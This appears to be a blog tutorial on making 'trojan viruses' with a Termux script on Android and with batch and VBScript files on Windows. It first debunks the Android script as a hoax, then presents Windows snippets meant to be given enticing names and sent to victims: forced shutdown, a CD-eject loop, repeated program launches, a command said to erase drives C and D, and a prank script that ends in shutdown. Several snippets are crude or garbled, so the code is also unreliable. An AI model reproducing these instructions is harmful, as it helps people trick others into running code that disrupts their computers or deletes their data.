How to Create a Trojan Virus on Android and Computer

How to make a trojan virus can be done from android and computer. To increase knowledge, I will share both tutorials. So please read carefully.

Previously did you know the meaning of the trojan virus itself?

Trojan or commonly called a Trojan horse is a virus in which there are other viruses that will spread when the main virus is working.

The Trojan horse itself is taken from the name of the Trojan war where the Greeks made horse statues so that they could enter the fortress of Troy. On the statue of the horse there are many of their war troops. This is similar to how trojan viruses work.

Okay now we will try to make it using android.

How to Create an Android Trojan Virus

Here I follow the tutorial from YouTube. But there is something odd and I will explain later at the end.

Okay, the application used in this process is termux. Please download first in playstore.

In termux we will install the trojans virus generator script. The name of the script is Trojans from the R133F github account.

The last step is to create a virus and send it to the victim/target.

Here’s how to make a trojan virus using termux:

1. Install the Trojan script from github R133F

As usual, before installing the script, we must first install the packages and modules needed by the script itself.

Please just write the following command in termux application:

pkg install git
pkg install python2

Then just clone the script file from the R133F repo.

The method :

type :

git clone https://github.com/R133F/Trojans

Just wait for the process to complete (100%).

2. Find the main file and execute

After cloned the script will be in the form of a folder. Well, the main file is in that folder. So we have to open it first.

Then the file must be executed according to the language used.

To make it easier, I have written a command to open the script folder along with how to execute the main file.

Just type:

cd Trojans
python2 trojans.py

The script will run and the initial display will look like the image below.

How to make a trojan virus using termux

Next, just specify the target to send the trojan.

3. Set the target recipient of the trojan

What is needed here is a telephone number. Just write it in the column provided then press enter.

A notification will appear, just press y then enter.

Then the script will start the process of sending the Trojan.

The process of sending the termux trojan virus

Okay, so far we have succeeded in creating and sending a trojan virus.

Now I will explain the odd thing that I mentioned earlier.

Strangeness of Script Trojan by R133F

This opinion is based on my curiosity. The reason is that I have sent the trojan file to my own number, but there is no effect.

Processed termux has declared success, but on my android nothing happens due to a virus.

Finally I tried to see the original code of the Trojan script. Because it is encrypted, it must be decoded using my personal tools.

Here is the result of the encode (original code of the Trojan script).

print logo
target = raw_input("x1b[32;1mTarget's Number Phonex1b[31;1m :x1b[33;1m ")
sleep(1)
os.system('clear')
print logo
print 'x1b[32;1mTarget Found ! '
print 'x1b[31;1mStart Attack x1b[33;1m' + target + 'x1b[31;1m ?'
lanj = raw_input('x1b[32;1mTab (y) to Continuex1b[33;1m = ')
if lanj == 'y':
while True:
print 'x1b[32;1mSuccsses Send Trojan Tox1b[31;1m :x1b[33;1m ' + target

You can see there is a loop code (turnover). So it can be concluded that this script is just a hoax.

Tips:
Just use the tutorial how to make the following termux virus which has been proven to work (I tried it myself).

Alright, to increase my knowledge I will also share a tutorial on making a trojan virus from a computer.

How to Create a Computer Trojan Virus

Because the operating system of the computer is windows, so this virus also applies to other devices that embed windows as its OS.

What is needed in the manufacturing process is a text editor or notepad too. The point is software to write code.

Then the file written in notepad must be saved with a certain extension. The goal is to be able to run (active) when clicked.

Here’s how to make a trojan virus in notepad

1. Write down the trojan virus code

In this section I write a simple code first. You can find other codes at the bottom.

OK, please open notepad then write the following code:

@echo shutdown -s -t 3 -f

Above is the virus code for automatic shotdown. So when the file is clicked the computer will turn off instantly.

2. Save the file with the extension .bat

When finished writing the virus code, please save it with a name whatever then give the extension .bat.

Giving the name must attract the attention of the victim to want to click on it.

Well, until here we have succeeded in making a trojan virus. Then just send the file to the target or try it yourself if you don’t believe it.

For other virus codes, please see below.

Trojan Virus Code

1. Unlock DVD device automatically

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2. Open the notepad software automatically and repeatedly

@ECHO off
:top START %SystemRoot%system32notepad.exe

3. Erase Discs C and D

@echo off
DEL C: -Y
DEL D: -Y

4. Mess up the system (bonus)

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM…^__^
echo …………………
echo:
echo:
start /w wscript.exe C:sleep3000.vbs
echo NEXT…………!
echo:
echo:
echo HALO SOBAT
echo MAU JADI TEMAN AKU ??
echo:
echo:
echo I'M JOU VIRUS!!!
start /w wscript.exe C:sleep2000.vbs
echo …………
start /w wscript.exe C:sleep4000.vbs
echo …………
echo NTAR…….!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo VIRUS INI ADALAH VIRUS YANG SANGAT MEMATIKAN…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir Si_INDO_CRACKER
start /w wscript.exe C:sleep3000.vbs
echo:
echo:
echo:
echo:
echo HAPPY BIRTHDAY
echo KOMPUTER KAMU BAGUS DEH
echo BOLEH Q INTIP DIKIT
echo HMM BOLEH JUGA NEH ISINYA
echo CALL ME YACHH +6284323xxxxxx GPRS JUGA BOLEH KOK
echo:
echo:
echo:
echo:
echo:
echo SABARAN BRO…
start /w wscript.exe C:sleep3000.vbs
echo ………..
echo zzzzzzz….
echo:
echo:
start /w wscript.exe C:sleep3000.vbs
echo OKE….Virus AKTIF!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo FIREWALL KAMU ANCUR…
start /w wscript.exe C:sleep2000.vbs
echo SEMUA PROSESS UDAH DIBANTAI…
start /w wscript.exe C:sleep2000.vbs
echo DENGAN SEGALA HORMAT VIRUS BOOTING DULU…
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo VIRUS MASUK PODIUM AKHIR!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo I LOVE U FULL
echo HA HA HA HA
echo:
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -f -s -c “BERTAUBATLAH, BACK TO UR GOD MOHON MAAF LAHIR DAN BATIN
WASSALUMUALAIKUM WR WB.”

So that’s the virus code that you can use. Please save with .bat extension then send to target.

How to get rid of a virus that is already running is by restarting the computer. If that doesn’t work, you have to reinstall Windows.

Okay, that’s all for our discussion this time, hopefully it can be useful.

Don’t forget to share this article on social media and thanks for reading.

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *